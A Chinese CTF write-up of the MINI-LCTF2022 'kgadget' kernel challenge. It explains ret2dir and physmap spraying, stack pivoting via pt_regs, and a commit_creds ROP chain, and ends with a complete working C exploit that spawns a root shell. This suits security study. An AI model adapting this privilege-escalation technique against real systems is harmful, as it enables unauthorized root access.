首页 > 其他分享 >MINI-LCTF2022 - kgadget 学习记录

MINI-LCTF2022 - kgadget 学习记录

时间:2022-12-29 12:44:44浏览次数:59  
标签:MINI kgadget mov pop LCTF2022 ret rop unsigned size

  • 关于 ret2dir

    用来绕 smep、smap、pxn 等用户空间与内核空间隔离的防护手段。

    首先,在内核中存在 direct mapping area,线性地直接映射了整个物理内存空间。这就意味着,对于一个被用户进程使用的物理页框,同时存在着一个用户空间地址与内核空间地址到物理页框的映射,那么对这两个地址访问时都是映射到了同一个物理页框。

    image-20220716165006463

    在开启 smep 和 smap 的时候,内核空间无法直接访问用户空间,但可以利用这块 direct mapping area,用一个内核空间上的地址访问到用户空间的数据。

    在 ret2dir 中,在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到,

    image-20220716163450638

    新版的内核中 direct mapping area 没有执行权限,但依然可以用 ROP。

    利用思路大致就是:

    1. 利用 mmap 在用户空间大量喷射内存
    2. 利用漏洞泄露出内核的堆上地址(kmalloc),这个地址直接来自于线性映射区
    3. 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到在用户空间喷射的内存

    此时获得了一个映射到用户空间的内核空间地址,可以通过这个内核空间地址直接访问到用户空间的数据,实现绕过隔离防护。

    内存搜索可以用 physmap spray 来代替,就是说使用 mmap 喷射大量的物理内存写入同样的 payload,之后随机挑选一个线性映射区上的地址进行利用。

  • 漏洞分析

    能用的点在 ioctl 中

    image-20220716170755682

    这里的 _x86_indirect_thunk_rbx (retpoline技术) 可以看作

    __asm__("jmp rbx");
    

    image-20220716171114960

    相当于对第三个参数解引用,跳到其指向的地址上执行,可以直接劫持控制流。

    启动参数中没开 kaslr,不需要泄露地址,只需要考虑如何在内核空间布置恶意数据,这里用 ret2dir 可以直接在用户空间布置恶意数据,再在内核空间中的这块区域中找到用户空间数据对应的内核空间地址。

    为了能确定恶意数据在内核空间中对应的地址,直接使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个 direct mapping area 上的地址进行利用。

    然后就是 gadget 和 rop chain 的构造,可以用形如 add rsp, val;ret 的 gadget 跳到内核栈上的 pt_regs 上,在上面布置提权的 rop chain,但在本题中用 qmemcpy 对内核栈做了清理,只有 r9 和 r8 两个寄存器可用。

    image-20220716172827783

    pt_regs 结构:

    struct pt_regs {
    /*
     * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
     * unless syscall needs a complete, fully filled "struct pt_regs".
     */
    	unsigned long r15;
    	unsigned long r14;
    	unsigned long r13;
    	unsigned long r12;
    	unsigned long bp;
    	unsigned long bx;
    /* These regs are callee-clobbered. Always saved on kernel entry. */
    	unsigned long r11;
    	unsigned long r10;
    	unsigned long r9;
    	unsigned long r8;
    	unsigned long ax;
    	unsigned long cx;
    	unsigned long dx;
    	unsigned long si;
    	unsigned long di;
    /*
     * On syscall entry, this is syscall#. On CPU exception, this is error code.
     * On hw interrupt, it's IRQ number:
     */
    	unsigned long orig_ax;
    /* Return frame for iretq */
    	unsigned long ip;
    	unsigned long cs;
    	unsigned long flags;
    	unsigned long sp;
    	unsigned long ss;
    /* top of stack page */
    };
    

    可以利用 pop_rsp; ret 的 gadget 进行栈迁移,把栈移到用户空间所布置的恶意数据上,然后直接在恶意数据靠后的位置布置提权降落回用户态的 rop chain。(利用 滑梯 slider)

    ------------------------
    add rsp, val ; ret 
    add rsp, val ; ret 
    add rsp, val ; ret 
    add rsp, val ; ret
    ...
    add rsp, val ; ret # 该gadget必定会命中下一个区域中的一条ret,之后便能平缓地“滑”到常规的提权 rop 上
    ------------------------
    ret
    ret
    ...
    ret
    ------------------------
    common root ROP chain
    ------------------------
    

    具体的 ROP 编写,和之前 qwb2018-core 也有很大的不同,之前的 ROP 是:

    pop rdi; ret
    prepare_kernel_cred(0)
    pop rdx; ret
    pop rcx; ret
    mov rdi, rax; call rdx;
    commit_creds
    swapgs; popfq; ret
    iretq; ret;
    

    很尴尬的就是找不到 mov rdi, rax; 这样的 gadget,无法直接用 commit_creds(prepare_kernel_cred(NULL)) 来提权,这个函数调用能提权的原理,就是最终调用了 commit_creds(init_cred),其中 init_cred 在 .data 段,表示 root 权限的 creds 结构体。

    同样,也找不到 iretq; ret 这样的 gadget,原文中使用了 swapgs_restore_regs_and_return_to_usermode来返回用户态。(位于 arch/x86/entry/entry_64.S),具体操作大概就是:

    mov        rdi, cr3
    or         rdi, 0x1000
    mov     cr3, rdi
    pop        rax
    pop        rdi
    swapgs
    iretq
    

    因此我们只需要布置出如下栈布局即可完美降落回用户态:

    ↓   swapgs_restore_regs_and_return_to_usermode
        0 // padding
        0 // padding
        user_shell_addr
        user_cs
        user_rflags
        user_sp
        user_ss
    

    最后的 exp:

    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    
    size_t  prepare_kernel_cred = 0xffffffff810c9540;
    size_t  commit_creds = 0xffffffff810c92e0;
    size_t  init_cred = 0xffffffff82a6b700;
    size_t  pop_rdi_ret = 0xffffffff8108c6f0;
    size_t  pop_rax_ret = 0xffffffff810115d4;
    size_t  pop_rsp_ret = 0xffffffff811483d0;
    size_t  swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
    size_t  add_rsp_0xe8_pop_rbx_pop_rbp_ret = 0xffffffff812bd353;
    size_t  add_rsp_0xd8_pop_rbx_pop_rbp_ret = 0xffffffff810e7a54;
    size_t  add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
    size_t  ret = 0xffffffff8108c6f1;
    
    void (*kgadget_ptr)(void);
    size_t *physmap_spray_arr[16000];
    size_t page_size;
    size_t try_hit;
    int dev_fd;
    
    size_t user_cs, user_ss, user_rflags, user_sp;
    void save_status(void)
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
    }
    
    void err_exit(char * msg)
    {
        printf("\033[31m\033[1m[x] Error : \033[0m%s\n", msg);
        exit(EXIT_FAILURE);
    }
    
    void get_root_shell(void)
    {   
        puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
    
        if(getuid())
        {
            puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
            exit(-1);
        }
    
        puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
        system("/bin/sh");
        exit(0);// to exit the process normally instead of segmentation fault
    }
    
    void construct_rop_chain(size_t *rop)
    {
        int idx = 0;
        
        // gadget to trigger pt_regs and for slide
        for (; idx < (page_size / 8 - 0x30); idx++)
            rop[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret; 
        
        // more normal slide code
        for (; idx < (page_size / 8 - 0x10); idx++)
            rop[idx] = ret;
    
        // rop chain
        rop[idx++] = pop_rdi_ret;
        rop[idx++] = init_cred;
        rop[idx++] = commit_creds;
        rop[idx++] = swapgs_restore_regs_and_return_to_usermode;
        rop[idx++] = *(size_t*) "moonflower";
        rop[idx++] = *(size_t*) "moonflower";
        rop[idx++] = (size_t) get_root_shell;
        rop[idx++] = user_cs;
        rop[idx++] = user_rflags;
        rop[idx++] = user_sp;
        rop[idx++] = user_ss;
    }
    
    int main()
    {
        save_status();
        dev_fd = open("/dev/kgadget", O_RDWR);
        if (dev_fd < 0)
            err_exit("dev fd!");
    
        page_size = sysconf(_SC_PAGESIZE);
    
        // construct per-page rop chain
        physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        construct_rop_chain(physmap_spray_arr[0]);
    
        // spray physmap, so that we can easily hit one of them
        puts("[**] Spraying physmap...");
        for(int i = 1; i < 15000; i++)
        {
            physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
            if (!physmap_spray_arr[i])
                err_exit("oom for physmap spray!");
            memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size);
        }
    
        puts("[*] trigger physmap one_gadget...");
        
        try_hit = 0xffff888000000000 + 0x7000000;
        __asm__(
            "mov r15,   0xbeefdead;"
            "mov r14,   0x11111111;"
            "mov r13,   0x22222222;"
            "mov r12,   0x33333333;"
            "mov rbp,   0x44444444;"
            "mov rbx,   0x55555555;"
            "mov r11,   0x66666666;"
            "mov r10,   0x77777777;"
            "mov r9,    pop_rsp_ret;"   // stack migration again
            "mov r8,    try_hit;"
            "mov rax,   0x10;"
            "mov rcx,   0xaaaaaaaa;"
            "mov rdx,   try_hit;"
            "mov rsi,   0x1bf52;"
            "mov rdi,   dev_fd;"
            "syscall"
        );
    }
    

    image-20220717182605882

  • 参考文献

标签:MINI,kgadget,mov,pop,LCTF2022,ret,rop,unsigned,size
From: https://www.cnblogs.com/m00nflower/p/17012228.html

相关文章

  • 简单聊下.NET6 Minimal API的使用方式(转)
    前言#    随着.Net6的发布,微软也改进了对之前ASP.NETCore构建方式,使用了新的MinimalAPI模式。之前默认的方式是需要在Startup中注册IOC和中间件相关,但是在MinimalA......
  • vue3+vite build打包报错:Some chunks are larger than 500 KiB after minification. C
    看官方的解决方案:1、在rollup配置文件中添加output.manualChunks,将模块拆分成多个chunk,减小每个chunk的大小;2、build.chunkSizeWarningLimit,提高报错的阈值;3、使用动......
  • MINIGPA103 USBHID评估板入门学习手册基于STM32HAL库
    序由于作者水平有限,文档和视频中难免有出错和讲得不好的地方,欢迎各位读者和观众善意地提出意见和建议,谢谢!第一部分、硬件概述1.1实物概图图1.1Gamepad实物概图如图1......
  • minio
    下载:https://dl.min.io/server/minio/release/根据系统环境下载linux:https://dl.min.io/server/minio/release/linux-amd64/minio设置为可执行chmod+xminio后台运......
  • 【题解】P5298 [PKUWC2018]Minimax
    P5298[PKUWC2018]Minimax思路线段树合并优化树形dp.值域1e9首先考虑离散化。然后发现需要维护每种权值的出现概率,于是可以考虑到一个简单的树形dp:设\(f[i][j]\)......
  • databend minio 模式试用
    关注databend很早了,最近运行试用了下(基于minio),发现databend真的很强大了,目前也推出了cloud环境准备docker-compose文件version:'3'services:dat......
  • SpringBoot整合Minio
    SpringBoot整合Minio进入Minio官网,下载对应的Minio版本官网安装文档下载完成之后,启动(windows版)minio.exeserverD:\minio\serverminio.exeserver:启动......
  • 图计算引擎分析 ——Gemini
    作者:京东科技王军前言Gemini是目前state-of-art的分布式内存图计算引擎,由清华陈文光团队的朱晓伟博士于2016年发表的分布式静态数据分析引擎。Gemini使用以计算为中......
  • P5298 [PKUWC2018]Minimax
    题解\(f_{u,k}\)节点\(u\)是第\(k\)小的点的概率。\(deg=2\)的情况:\[f_{u,k}=(1-p_u)\left(f_{lc,k}\sum_{k'>k}f_{rc,k'}+f_{rc,k}\sum_{k'>k}f_{lc,k'}+f_{lc......
  • 利用rclone 将本地文件上传至minio
    部署:curlhttps://rclone.org/install.sh|sudobash配置rclone的配置文件,rclone默认会读取/root/.config/rclone/rclone.conf如果该文件没有那手动创建一下即可......